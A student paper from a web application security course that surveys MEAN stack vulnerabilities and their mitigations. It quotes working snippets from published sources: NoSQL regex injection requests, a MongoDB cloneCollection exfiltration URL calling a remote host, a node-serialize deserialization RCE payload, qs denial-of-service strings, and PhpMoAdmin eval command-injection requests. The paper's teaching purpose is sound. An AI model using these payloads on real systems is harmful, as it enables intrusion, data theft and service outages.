CSEC 731

Web Server Appl Sec Audits

Prof. Rob Olsen

Trends in MEAN Stack Hacking

Aadarsh Karumathil

Anush C. Reddy

1. Introduction

MEAN stacks refers to a set of open source Javascript technologies - MongoDB, ExpressJS, AngularJS, and NodeJS used to build dynamic websites and web applications. Each of these technologies together provide a full web stack based on javascript. MongoDb is used as the database, ExpressJS is a server-side framework, AngularJS is a front-end framework, and NodeJs is the web server. By using javascript throughout the stack, significant gains in application performance and developer productivity can be achieved. Using the same language also makes it easier to code, as you do not have to deal with multiple coding standards of different languages and understanding the codebase is also easier. All of these reasons have made the MEAN stack a popular choice for building web application in recent times.

As the popularity of MEAN stack has grown rapidly, the number of attacks on it have increased as well. Even the MEAN stack is widely used today, there is a lack of consolidated information on the security aspects of the stack. This paper will investigate the various vulnerabilities that have been found so far in each of the 4 technologies the MEAN stack and also exploit these vulnerabilities against a weakly secured web application built for this purpose.

This paper will cover the various vulnerabilities discovered so far in the MEAN stack, how they have been exploited and how these vulnerabilities can be mitigated or prevented.

2. Background

Databases are one of the important aspect in any industries these days. SQL was of the most common database language of all time but it was really hard to scale it and was not flexible enough. SQL databases were relational databases and had links to where the data was stored whereas NoSQL databases on the other hand had the capacity to store the data as such. NoSQL database uses JSON to send queries to the database. MongoDB uses binary JSON.

ExpressJS is a back-end web application framework that acts an intermediate layer between NodeJS and AngularJS. It has a set of API calls which makes it really easy to parse frontend communication to the server side.NodeJS itself was not developed to build websites so Express framework is able to layer in built-in structure and functions needed to do it.

AngularJS is a front-end web application framework that addresses many issues that arise in developing a single page application. AngularJS gives the developer some unique features such as a MVC architecture, two-way data binding between html and javascript, templating and also allows you to evaluate expression within html. These features make developing a single page web application extremely fast.

NodeJS is a javascript based runtime environment that is used a web server in the MEAN stack. Since most of Node is written in javascript, developer can easily customize or add new modules to it. Node unlike PHP is event driven using callbacks to notify the completion of tasks rather than blocking until a function is executed. This allows developers to develop scalable

servers rapidly without using threading. Node is also open source with thousands of modules developed by many developers making it a popular choice.

The attacks against applications developed using the MEAN stack can be categorized into two broad categories - Client side attacks and Server side attacks. Client side attacks are mostly based on AngularJS exploits as it is the front-end part of the MEAN stack and usually involve Cross Site Scripting (XSS), Cross Site Request Forgery (XSRF), etc. Server side attacks involve server side javascript injection, command injection, Denial of Service, NoSQL injection, etc.

Hosting environment

MongoDB databases are meant to be hosted in an trusted environment, hence MongoDB does not have any authentication. A slight Misconfiguration of the database can make the database public, thereby it available to anyone without authentication. Shodan, a search engine, shows that that there are still around 30000 public facing MongoDB databases. Recent ransomware attacks on the MongoDB servers are mainly focused on these servers. The attacker may download or may not download the database. He encrypts or deletes the database and demands for ransom.

XSS

Cross Site Scripting (XSS) is the most common type of security bug found in web applications today. XSS if present in a web app allows an attacker to inject their own malicious scripts into the HTML pages of the application. The malicious Javascript found in the HTML page is automatically executed by the browser as the browser has no way of identifying malicious scripts. XSS vulnerabilities most commonly arise when the application takes user input and dynamically includes it in HTML pages without validating the user input. A XSS attack allows the attacker to modify the appearance of the web pages and sometimes even even take control of the victim's browser and account. [1]

Code Injection

Code injection is a vulnerability where the attacker injects/introduces code into an application in the form of user input and this code is then executed by the application.[3] This vulnerability exploits improper handling/processing of untrusted user input. This type of vulnerability is usually hard to exploit, but if successfully exploited, it can have a disastrous impact on the application. These attacks usually begin by collecting and modifying information. The end goal however, is to escalate privileges and gain control of the server.

Javascript is very vulnerable to this type of attack because of the eval family of functions. Javascript allows these functions to dynamically execute code embedded in strings. The vulnerability stems from passing improperly validated user input to this function. The functions setTimeout() and setInterval() are also affected by the same vulnerability.[2] This vulnerability can be used to carry out many kinds of attacks on the web application and the server.

NoSQL injection

In case of MongoDB databases code injection is also known as NoSQL injection. NoSQL injection lets the attacker insert a malicious code and performs that query on database. The effect of the injection varies based on the query. This is possible when the query being passed to the databases are not validated.

Regex functions stand for regular expressions. It is the widely used function for querying any database and for injecting any database. Below is a Nodejs and MongoDB login prompt code used for authentication:-

```
app.post('/',function(request,response){
        User.findOne({user: request.body.user}, function(err , user) {
                If (err) {
                        return response.render('index', {message: err.message});
                        }
                If (!user) {
                         return response.render('index', {message: 'Sorry!'});
                        }
                 If (user.hash != sha1(request.body.pass)) {
                        return response.render('index', message:'Sorry!'});
                        }
                return response.render('index', {message: 'Welcome back'});
                 });
                 });     [4]
```

As per the code you can see that the the code initially gets the requests and has a variable response variable in the function argument which would be used to respond. The code uses findOne which is used to find the user in the database. The found user is passed into the function which then checks for errors. The first IF statement checks for errors and responds with a error message if True. The remaining two IF statements are used to check if the user exists and if the password hash matches with the request password. Finally if none of these if statements match then a Welcome back message is sent to the user. The code above uses findone instead of find and this is a most commonly used textbook based authentication system.Here the code can be exploited using the following post request:-

```
POST http://url/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user[$regex]=a&pass=abc123
```

This post request queries for users starting with the alphabet a and tries password abc123 for the first user matching that criteria of starting with alphabet a. Although the possibilities of this

query working is low it can be improvised by changing the regex with combinations of alphabets and loading passwords from a dictionary file:-
POST http://url/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user[$regex]=ab.&pass=abc123

Cross site timing side channel attack: -

The sleep function in mongoDB puts the database to sleep for the given period of time. The attacker does the following steps: -
1. Save the current time.
2. Create an iframe which is invisible along with an onload event.
3. Set the source of the iframe to the MongoDB's REST API on the localhost or internal network of the victim and query the data. Once the database queries the query it goes to sleep for the given time on a correct guess.
4. When the page finishes loading the onload event fires. It contains a function which records the time.
5. The attacker then compares the time to guess the correct time on the sleep function.

Cloning a MongoDB database attack: -

The above attack is not suitable for a big dataset. MongoDB has a function called cloneCollection which allows a developer to clone a collection from a remote server.

http://127.0.0.1:28017/test/$cmd/?filter_eval=ret="collections_";db.
getCollectionNames().forEach(function(x){ret=ret%2bx%2b"."});{d
b.runCommand({cloneCollection:"",from:ret%2b"version_."%2bdb.v
ersion()%2b".example.com:27017"})}&limit=1 [6]

ret="collections_" - says that it is the beginning of the collection in the DNS request.

db.getCollectionNames().forEach(...) appends every collection to the return value.

db.runCommand() runs the command cloneCollection tries to clone the collection from a remote host.

"From" - says from which hostname it has to append to the returned value.

Remote Code Execution: -

The ‘node-serialize’ module lets you an object including its functions into a JSON string. The modules has 2 function serialize() and unserialize() which are used to serialize and deserialize objects respectively. [8] This package is used in lieu of JSON.stringify() which does not serialize object methods.

The exploit discovered allowed for Remote Code Execution on the server when untrusted user data is passed into the unserialize function without validation. This exploit also makes use of JavaScript’s Immediately-invoked function expression (IIFE) feature, also known as self-executing anonymous function. An object’s method in javascript can be immediately executed when the object is created by adding ‘()’ after the function body as shown below:

```
(function () { … }());
```

The author of the CVE used the below object to check if Code Execution(RCE) was possible when it was passed into the serialize() function. The code executed successfully, however the serialization failed.

```
var y = {
        rce : function(){
                require('child_process').exec('ls /', function(error,
                        stdout, stderr) { console.log(stdout) });
        }(),
}
```

Next he checked if the unserialize() function can be exploited too. The below serialized string was modified to include ‘()’ for IIFE and passed to the unserialize() function. Both code execution and unserialization were successful.

```
{"rce":"_$$ND_FUNC$$_function(){\n\t
require('child_process').exec('ls /', function(error, stdout, stderr) {
console.log(stdout) });\n }()"}
```

Now that code execution was possible, the researcher used nodeshell.py to generate payload for a reverse shell and added the IIFE brackets at the end. This payload was then base64 encoded and passed as a cookie value to a web application that made use of the ‘node-serialize’ module to parse the cookie value. The researcher was successfully able to spawn a reverse shell on the web server. The researcher attributed this vulnerability to the use of eval() function internally by the module.

This is an example of server-side javascript injection. To mitigate server-side injection, the use of the eval() family of functions must be avoided. If the use of these functions is unavoidable, user data must be validated before passing it to the functions

Denial of Service

'qs' is a querystring parsing and stringifying library for NodeJS applications. It has 2 functions in the library: qs.parse() and qs.stringify(). The qs.parse() function is used for creating a json representation from strings, objects, and arrays. The qs.stringify(obj) function is used for generating query strings that are URI encoded by default from objects. Both the functions take a second argument - options that determine the output of the functions. Possible options include disabling encoding, specifying output format, escaping decoding characters, sorting, etc. [10]

Two DoS vulnerabilities were discovered by researchers in the 'qs' module in 2014. Nearly 300 other npm packages were dependent on the 'qs' module when these bugs were discovered. The author of the article, Tom Steele discovered that when you passed a deeply nested string to the qs.parse() function, it was possible to block the application's event loop for a significant and noticeable time. During this time, no other requests can be served as Node is a single threaded application, thus effectively causing a DoS attack on the application. An example of exploiting this vulnerability is shown below: [9]

```
var s = 'a[a]';
while (Buffer.byteLength(s, 'utf8') < 800000) {
   s = s + '[a]';
}
s += '=a';
qs.parse(s);
```

The second issue was identified by another security researcher Dustin Shiver. He discovered that since the qs.parse() function allows you to pass a sparse array as an argument, it was possible to exhaust the application's allocated memory raising a runtime exception when you specified a high index such as 1000000000. An example is provided below: [9]

```
var s = 'foo[0][100000000]=ba';
qs.parse(s);
```

Possible solution to mitigate these types of attacks in the future is to validate user input for content and length. Another suggestion by the author is to include a markdown file named SECURITY.md in every package to facilitate responsible disclosure for bugs found in the package.

Vulnerabilities arising from insecure dependencies

Zero Day exploit is a vulnerability in the software which is unknown to the vendor but exploited by hackers before it is fixed. MongoDB being a popular database and being used in industries and managing a database without a GUI can be hard. One famous GUI tool for managing MongoDb databases is PhpMoAdmin. There are also other tools like RockMongo, MongoVUE, Mongo-Express, UMongo etc. PhpMoAdmin tool being a free, open source is the most preferred out of these tools. The zero day exploit in PhpMoAdmin lets the attacker to execute arbitrary code without any authentication because MongoDB is assumed to be executed in a trusted environment. The vulnerability lies in the moadmin.php file , it uses an eval function in the code which can be used to execute the arbitrary code.

Vulnerable code

```
$find = array();
    if (isset($_GET['find']) && $_GET['find']) {
      $_GET['find'] = trim($_GET['find']);
      if (strpos($_GET['find'], 'array') === 0) {
        eval('$find = ' . $_GET['find'] . ';');
      } else if (is_string($_GET['find'])) {
        if ($findArr = json_decode($_GET['find'], true)) {
          $find = $findArr;
        }
      }
    }
```

[5]

As you can see the eval function gets the file straight from the user which is a really bad practice and can be injected with the following code :-

GET /abc/moadmin.php?action=listrows&collection=nnn&find=array();system(‘ls’); HTTP/1.1

This code would bypass the find statement with the find=array() parameter. The semicolon then terminates the present find statement and executes the system(‘ls’) command which lists the files. If the PhpMoAdmin.php runs as a root user then it would be easy to access and display all the passwords in the /etc/shadow file.

Apart from this there is also another eval function which is the object parameter:-

```
public function saveObject($collection, $obj) {
    eval('$obj=' . $obj . ';'); //cast from string to array
    return $this->mongo->selectCollection($collection)-
>save($obj);
  }
```

[5]

curl “http://abc/moadmin.php” -d “object=1;system(“command you want to execute”);exit”

This will execute the command in the server and respond with the result of that command. This vulnerability can be used to execute malicious commands on the server and take control of the server.

3. Methodology

To investigate the security of the MEAN stack, a web application will be built that is vulnerable to all of the exploits that have been researched. This would better help in understanding the underlying issues these exploits are based on. The covered exploits will also be carried out against the vulnerable web application and possible solutions to protect your applications against these exploits will also be discussed.

4. Results

The results section will contain attempts at hacking the vulnerable web application and suggestions to prevent those attacks.

5.Future Work

One obvious way to extend this paper is to add new exploits as they are discovered. A second possible way to extend this paper may be to build a penetration testing tool specifically for the MEAN stack based on the exploits listed here.

6.Conclusion

This paper will identify the various vulnerabilities that were discovered in each of the components of the MEAN stack and how they were exploited. The paper will also demonstrate the exploits against a vulnerable web application providing a better understanding of how these exploits work. This paper will also provide possible solutions for securing web application built on the MEAN stack. As of now the best practices while using MEAN stack are: -

Best Practices :-

1. Account lock out for several consecutive failed login attempts.
2. Captchas to prevent automated attacks.
3. Validating user inputs
4. Using salted passwords
5. Getting rid of qs module which is the default in express web framework and body-parser middleware would be a good thing to do
6. Don’t use eval function: -

   Using eval function would let the attacker execute his arbitrary code on the server

which will lead to RCE(Remote Code Execution). We should also keep in mind that we are not supposed to use the functions which use eval function
Eg:-
setInterval, setTimeout, new Function(String) etc.

7. Use strict mode: -
   Using the 'use strict' command in a javascript would make the JavaScript run in a restricted environment thereby throwing all the possible errors.
8. Handle errors carefully: -
   If the errors are not handled properly and if the attacker gets hold of the information, then he would be able to figure out the underlying code as well as would have additional information on the working of the code.
9. Don't run processes with superuser privileges: -
   When a process of node js which runs as a super user faces a bug/error there are chances that the entire system may be brought down. This would be a disaster if there is a code injection possible because the attacker would have superuser privileges to execute the arbitrary code.
10. Using proper headers: -
    Using proper security related headers is a good practice. In Nodejs most of these headers can be imported by importing the helmet module. Few famous security headers are
    - Ssl/tls: - this enforces transport layer security
    - X-frame-options: - prevents clickjacking
    - X-xss-protection: - prevents cross-site scripting filter
    - X-Content-Type-Options: - prevents the browser from sniffing the mime type of a response away from the declared content type
    - Content-security-policy: - prevents cross-site scripting and cross-site injections.
11. Maintain sessions properly
    Secure – makes sure that cookie is sent only when a https connection is used.
    Httponly- makes sure that cookie is not accessible via javascript.
12. Setting the scope of cookies
    Restricting the cookie's domain, path and expiration makes it much more secure.
13. Check for vulnerabilities using retire.js
14. Audit the modules with the node security platform CLI
15. Look for loose dependencies to prevent Dependency Injection
16. Check the deployments and ensure that there no public facing MongoDB servers

7.References

[1] "Cross-site Scripting" OWASP.
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) 10 Feb. 2017 Accessed.

[2] Sullivan, Bryan. "Server-Side JavaScript Injection" Adobe Secure Software

Engineering Team. July 2011.
[3] ”Code Injection” OWASP. https://www.owasp.org/index.php/Code_Injection 12 Feb. 2017 accessed.
[4] “Attacking NodeJS and MongoDB “ http://blog.websecurify.com/2014/08/attacks-nodejs-and-mongodb-part-to.html
[5] https://thehackernews.com/2015/03/phpMoAdmin-mongoDB-exploit.html
[6] “Exploiting a CSRF Vulnerability in MongoDB Rest API” https://www.netsparker.com/blog/web-security/exploiting-csrf-vulnerability-mongodb-rest-api
[7] Abraham, Ajin. “Exploiting Node.js deserialization bug for Remote Code Execution (CVE-2017-5941)”, https://www.exploit-db.com/docs/41289.pdf 8 Feb. 2017. 4 Mar. 2017.
[8] ”node-serialize” npmjs. https://www.npmjs.com/package/node-serialize 4 Mar. 2017 accessed.
[9] Steele, Tom. “Denial-of-Service in qs.”, ^lift. https://blog.liftsecurity.io/2014/08/06/denial-of-service-in-qs/ 6 Aug. 2014. 2 Mar. 2017.
[10]”qs” npjs. https://www.npmjs.com/package/qs 2 Mar. 2017 accessed.